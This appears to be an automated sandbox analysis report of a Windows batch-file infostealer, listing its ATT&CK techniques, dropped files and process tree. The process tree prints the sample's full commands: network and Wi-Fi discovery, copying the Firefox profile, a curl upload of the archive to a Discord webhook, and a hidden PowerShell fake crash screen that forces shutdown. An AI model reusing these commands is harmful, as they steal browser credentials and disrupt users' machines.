989dcd837e6f59b4b38f063a0009f7716270f5a75752f311f88c58fafe669904

Analysis

max time kernel
25s
max time network
29s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/09/2026, 03:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
deepseek_bat_20260928_1b7719 (1).bat
Size 3KB
Sample260928-d2hyaavxfs
SHA256 989dcd837e6f59b4b38f063a0009f7716270f5a75752f311f88c58fafe669904
MD5 370420775058208cbae794661baea5d0
SHA1 2c06306d3b61ff324647d1fbe3afe36ca2cc6195
SHA512 2e9f8c39e68ce697b86052fb9c2061f9c6ace2006d2f0ddbb07b792ce49458f4c259dabaa3aef128a2382da6ceabc6d3d14b629da60f57ab1fc3f2c584334099
TLSH
T15C71B8A3A5FC17114C351EB3778142BD998B12AD071C9ECD61449971ACCE3AE52BC4A2
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1972	powershell.exe
4792	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	discord.com
9	discord.com

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4804	ARP.EXE

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3612	tasklist.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4344	cmd.exe
4456	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4456	cmd.exe
4176	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3340	NETSTAT.EXE

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5504	timeout.exe
6000	timeout.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2924	ipconfig.exe
3340	NETSTAT.EXE

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5480	WMIC.exe
5480	WMIC.exe
5480	WMIC.exe
5480	WMIC.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
1972	powershell.exe
1972	powershell.exe
1972	powershell.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	3340	NETSTAT.EXE
Token: SeDebugPrivilege	3612	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5480	WMIC.exe
Token: SeSecurityPrivilege	5480	WMIC.exe
Token: SeTakeOwnershipPrivilege	5480	WMIC.exe
Token: SeLoadDriverPrivilege	5480	WMIC.exe
Token: SeSystemProfilePrivilege	5480	WMIC.exe
Token: SeSystemtimePrivilege	5480	WMIC.exe
Token: SeProfSingleProcessPrivilege	5480	WMIC.exe
Token: SeIncBasePriorityPrivilege	5480	WMIC.exe
Token: SeCreatePagefilePrivilege	5480	WMIC.exe
Token: SeBackupPrivilege	5480	WMIC.exe
Token: SeRestorePrivilege	5480	WMIC.exe
Token: SeShutdownPrivilege	5480	WMIC.exe
Token: SeDebugPrivilege	5480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5480	WMIC.exe
Token: SeRemoteShutdownPrivilege	5480	WMIC.exe
Token: SeUndockPrivilege	5480	WMIC.exe
Token: SeManageVolumePrivilege	5480	WMIC.exe
Token: 33	5480	WMIC.exe
Token: 34	5480	WMIC.exe
Token: 35	5480	WMIC.exe
Token: 36	5480	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5480	WMIC.exe
Token: SeSecurityPrivilege	5480	WMIC.exe
Token: SeTakeOwnershipPrivilege	5480	WMIC.exe
Token: SeLoadDriverPrivilege	5480	WMIC.exe
Token: SeSystemProfilePrivilege	5480	WMIC.exe
Token: SeSystemtimePrivilege	5480	WMIC.exe
Token: SeProfSingleProcessPrivilege	5480	WMIC.exe
Token: SeIncBasePriorityPrivilege	5480	WMIC.exe
Token: SeCreatePagefilePrivilege	5480	WMIC.exe
Token: SeBackupPrivilege	5480	WMIC.exe
Token: SeRestorePrivilege	5480	WMIC.exe
Token: SeShutdownPrivilege	5480	WMIC.exe
Token: SeDebugPrivilege	5480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5480	WMIC.exe
Token: SeRemoteShutdownPrivilege	5480	WMIC.exe
Token: SeUndockPrivilege	5480	WMIC.exe
Token: SeManageVolumePrivilege	5480	WMIC.exe
Token: 33	5480	WMIC.exe
Token: 34	5480	WMIC.exe
Token: 35	5480	WMIC.exe
Token: 36	5480	WMIC.exe
Token: SeSecurityPrivilege	1080	msiexec.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeShutdownPrivilege	2808	shutdown.exe
Token: SeRemoteShutdownPrivilege	2808	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1080	msiexec.exe
4768	LogonUI.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4344 wrote to memory of 4456	4344	cmd.exe	91
PID 4456 wrote to memory of 4176	4456	cmd.exe	92
PID 4456 wrote to memory of 5048	4456	cmd.exe	93
PID 4344 wrote to memory of 2924	4344	cmd.exe	94
PID 4344 wrote to memory of 3340	4344	cmd.exe	95
PID 4344 wrote to memory of 4804	4344	cmd.exe	96
PID 4344 wrote to memory of 2488	4344	cmd.exe	97
PID 2488 wrote to memory of 1632	2488	net.exe	98
PID 4344 wrote to memory of 3612	4344	cmd.exe	99
PID 4344 wrote to memory of 5480	4344	cmd.exe	101
PID 4344 wrote to memory of 1460	4344	cmd.exe	104
PID 4344 wrote to memory of 4792	4344	cmd.exe	105
PID 4344 wrote to memory of 3128	4344	cmd.exe	106
PID 4344 wrote to memory of 5504	4344	cmd.exe	107
PID 4344 wrote to memory of 1972	4344	cmd.exe	108
PID 4344 wrote to memory of 6000	4344	cmd.exe	109
PID 1972 wrote to memory of 2808	1972	powershell.exe	111

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	9	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_1b7719 (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profiles | findstr /r /c:"All User Profile"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4176
- - C:\Windows\system32\findstr.exe
    findstr /r /c:"All User Profile"
    3⤵
    PID:5048
- C:\Windows\system32\ipconfig.exe
  ipconfig /all
  2⤵
  - Gathers network information
  PID:2924
- C:\Windows\system32\NETSTAT.EXE
  netstat -ano
  2⤵
  - System Network Connections Discovery
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:3340
- C:\Windows\system32\ARP.EXE
  arp -a
  2⤵
  - Network Service Discovery
  PID:4804
- C:\Windows\system32\net.exe
  net user
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user
    3⤵
    PID:1632
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:3612
- C:\Windows\System32\Wbem\WMIC.exe
  wmic product get name,version
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5480
- C:\Windows\system32\xcopy.exe
  xcopy /e /i /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles" "C:\Users\Admin\AppData\Local\Temp\.racmods\mod_c4"
  2⤵
  PID:1460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\.racmods\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_2633.zip' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\system32\curl.exe
  curl -s -X POST -F "file=@C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_2633.zip" https://discord.com/api/webhooks/1525679347078397962/b2oIR6lAAr63nLl9mtmI8dIBBBSrrpYuThEpWye7KFkgV2MyMqj_75DCUgMPxIqn39eg
  2⤵
  PID:3128
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $f = New-Object System.Windows.Forms.Form; $f.FormBorderStyle = 'None'; $f.WindowState = 'Maximized'; $f.TopMost = $true; $f.BackColor = 'Black'; $f.KeyPreview = $true; $f.Add_KeyDown({ $_.SuppressKeyPress = $true }); $l = New-Object System.Windows.Forms.Label; $l.Text = 'A fatal exception 0E has occurred at 0028:C0011E36 in VXD VMM(01) + 00010E36. The current application will be terminated.'; $l.ForeColor = 'White'; $l.Font = New-Object System.Drawing.Font('Lucida Console',14); $l.AutoSize = $false; $l.Dock = 'Fill'; $l.TextAlign = 'MiddleCenter'; $f.Controls.Add($l); $t = New-Object System.Windows.Forms.Timer; $t.Interval = 3000; $t.Add_Tick({ shutdown /s /t 0; $t.Stop() }); $t.Start(); $f.ShowDialog()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\shutdown.exe
    "C:\Windows\system32\shutdown.exe" /s /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2808
- C:\Windows\system32\timeout.exe
  timeout /t 15 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:6000

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1080

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a37055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:2968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 05d1c4cccf833569ce90131509bea362bb8a719eefe03399549b5462df013afe
MD5 e52de7efa245dcf524943a3b3f39067f
SHA1 c014c2920aadf3446b3e78fad4e1cbf952ec6570
SHA512 050ddf0c27be5d1d72072d9dfe974ae44f62993a6e499de82224813171697ccca2fdda1012b1c2e526f5a149a42584c09d5ca6932d98cafdd93f30b2fc840871
TLSH
T18C319B37B3DC86E4D889413A01CAAC1437B693D750DECEE77B84E608B52F299CE60190
MD5 SHA1 SHA512 TLSH

Submit Download

mod_acct.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_acct.tmp
Size 283B
SHA256 14c1d3b142ae39e561568e887f5beb1982d7fefa7e40939fd116a9a22c1edeb8
MD5 b65054b26c8126035b0b5c23de211880
SHA1 431ccc0cd5b34a850f581eea993541cbf5d40bda
SHA512 76f08d745cc739e27d833317478532fcf92fb551f14ef0168afd376cfd752276c3fb41c24705a5b7c9939622c6deea2daf1a025346d84949aef2c87a3d0f1a76
TLSH
T1F7D08C021ECED3322685F9457161454CD1D3220928032101F8DE6B0D47632428EFE498
MD5 SHA1 SHA512 TLSH

Submit Download

mod_apps.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_apps.tmp
Size 6KB
SHA256 8687ee1aed2f3799e0d3c0726a751508d575100463fcac8bf1c24ee838de03f3
MD5 18664bffe7e168d3ed6b9930c6c07fba
SHA1 6c99ae1e92f9a60c8bc6d9bb927a21adbf7a55bd
SHA512 00dd3e39b89e78364f7e100e2fa35c9526436db4b23017d18c7e324169f8445fbe499f6e5cd93e219fb91bc13c79abb15e81db1a7577b9c0fd5df72bc28514e6
SSDEEP 96:sEIOwmcQX8fwcJlfHc56cx6McPrc5q/dp:sI1iNg6H
TLSH
T11CD1E42C06AC8716D1B6DB119DE0485BF5A77842F9B58B4901AC234F8797D02B864F9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mod_net.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_net.tmp
Size 1022B
SHA256 df7e6a444934b51c35c0da338869e46dca3b49e793aba26b4f8e78f472de9546
MD5 45989b15f5678f002bf67e6cbd37688f
SHA1 d9bef56c4bbba3f55e26a6fb032c7b9994af9e94
SHA512 a661b6f6cc6bd802e362775da7471e24a872ba9b781990805b44d9bdc28f8dcb0e7fdff30cd907dbc3394e6d64c4ccb7d5c028ebed8d89f4251e5742a9fd0a36
TLSH
T1E611899D06A9F40337BA86021CA9A739E1A45E67C003E171BDADA688BC331F49B41997
MD5 SHA1 SHA512 TLSH

Submit Download

mod_node.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_node.tmp
Size 434B
SHA256 fd6d1af56729450cbcfe0bc5c6ca83c60f73d69a63d7b5edafdf42e250b20339
MD5 c185b1317f4f8dbce998dc2e7b8d4c7f
SHA1 258b72bda85921e798fe38d2b76b26ec63de48f6
SHA512 0f3fabb447d9725d2fff0e3d58a53b651afdf1ae3b6eb5358f9fb4caddc52d727d7654458015ee252a0419c2b9663ba6f0a1df2c24a422190cd8c24dcf0407ef
TLSH
T1E0E01A42F635A64654F7032281F06D28C0B5D0125A5FA588F0BFCAF0CF7E60E6F28AD5
MD5 SHA1 SHA512 TLSH

Submit Download

mod_port.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_port.tmp
Size 3KB
SHA256 5424d5db7190b4d55c7d06b57cf1967b91a30718eb38b2bac5e3d6c26893b37f
MD5 484f58bca804a565769842d8c5dd9beb
SHA1 c4809b594f61b2b019d3487cc7199f4d33e39214
SHA512 c76a8ca20f748e8cf571d305c675d0b96b5ac3e0afcd5e623dd5fed034b62737fa63d5cd8f5f41e238a2afd228236319aded9b107c5fc589bc763259267cef4f
TLSH
T1DE813E96272C31C932B9DA52901DC896D4AD6696682F285DB07D0AC1C32DB1E7FDF01C
MD5 SHA1 SHA512 TLSH

Submit Download

mod_proc.tmp

Path C:\Users\Admin\AppData\Local\Temp\.racmods\mod_proc.tmp
Size 7KB
SHA256 f5249a624cb23ef0b5324c77ffd297576923df25198c9ebfdd9cc749c1a5e494
MD5 3211b5a9e7a277379443fd89b514ec40
SHA1 6141fd56d3ac3719feb6db41a112b84618d1f486
SHA512 1604bdb4cb0e54757626c49860425f7dcc44b3e915f4a110b971bd6bac115c43a61808cf2a1a6a386dfdcb2ad2b5f9cdcbe59775593c26e98084b444a429ec0f
SSDEEP 192:q5buvc0gGksUwbuOPTo7cjq6v9VRb5AijqaDsWhA0wGXZLojaZfEGaKhTPmqCi8D:q5buv7gGksUwbuOPTo7cjq6v9VRb5AiQ
TLSH
T110E1FE85889F81EC951DD3983A130003EB4E554031AAADD93ADE14EC77E5F1CE7EBA60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

modprofile_2633.zip

Path C:\Users\Admin\AppData\Local\Temp\.racmods\modprofile_2633.zip
Size 1.1MB
SHA256 b34e256e2a3dfd3ef41447a419315526ee4f728a5a034b1c54bcd6896076a52e
MD5 4f7619e4336c4f737bf1b209c8da3ca0
SHA1 b38eea4d679e9c4c305855f9c94ed73f469e2f83
SHA512 74de2edb61da7cd022628986d8a943a0265630a9a3fed68eda0afe3d137b5b9cbbf2aaed31931ef57fae05c60d1e1a92b48b8a05b6d4cd82359493cc43f8f8ce
SSDEEP 24576:+h4OpakT0D7CMkzhzhDKlMjRoJ+13Uv7g6Tz4LHR+84UV:+h4OpXdMkTxRoYIkazAUGV
TLSH
T1544533E4B2140E15E40FD1F7FE613B20B549875BC701FCA4A32B09049B596FB5ACAAF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_fckrmguf.cvf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fckrmguf.cvf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4792-15-0x000002E7FC4D0000-0x000002E7FC4DA000-memory.dmp

Download

memory/4792-14-0x000002E7FC750000-0x000002E7FC762000-memory.dmp

Download

memory/4792-13-0x000002E7FC2A0000-0x000002E7FC2AA000-memory.dmp

Download

memory/4792-12-0x000002E7FC1E0000-0x000002E7FC292000-memory.dmp

Download

memory/4792-6-0x000002E7FC120000-0x000002E7FC142000-memory.dmp

Download

memory/4792-11-0x000002E7FC1C0000-0x000002E7FC1DE000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads